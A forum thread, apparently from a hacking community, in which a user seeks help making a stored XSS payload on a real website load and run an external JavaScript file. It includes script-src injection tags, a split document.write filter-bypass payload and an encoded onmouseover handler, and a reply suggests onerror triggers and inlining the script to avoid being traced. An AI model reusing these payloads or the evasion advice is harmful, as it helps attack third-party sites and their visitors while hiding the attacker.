Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

XSS script src dosent redirect

There is a stored XSS on a website but it dosent redirect?

<script src = 'site/XSS.js'></script>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="mywebsitemyfile.js"></SCRIPT>

This works but it only alerts a box when i do a mouseover. I want it to redirect to a js file and execute it in the background.
<div onmouseover='alert&lpar;1&rpar;'>DIV</div>
For your last src, all it really did was just do an alert(1), with the "(" and ")" encoded as HTML. You need to actually place the javascript in there, after the "onmouseover". Suggest you check out more javascript examples.

For the first one, while I haven't really done any out-of-domain scripts, have you tried making a function first? The function would then be executed with something such as "onready" or like the other one, "onmouseover" or "onerror". For example,

onerror=startMyScript()

Then I cause an error, which would start the function. Inside the function, you can find a way to run the js script.



However, since you're at it anyway, why not just place the entire js script in there? It would allow you to avoid getting traced too because your domain would be present in the stored src?


Possibly Related Threads...
Thread / Author Replies Views Last Post
by Gee4rceApr 19, 2021 06:47 AM 26 4,058 Apr 19, 2021 06:47 AM
Last Post: theghostofgreen
by longwenzhangDec 12, 2019 07:54 AM 0 229 Dec 12, 2019 07:54 AM
Last Post: longwenzhang
by frank3nstienJul 18, 2019 10:38 PM 2 325 Jul 18, 2019 10:38 PM
Last Post: frank3nstien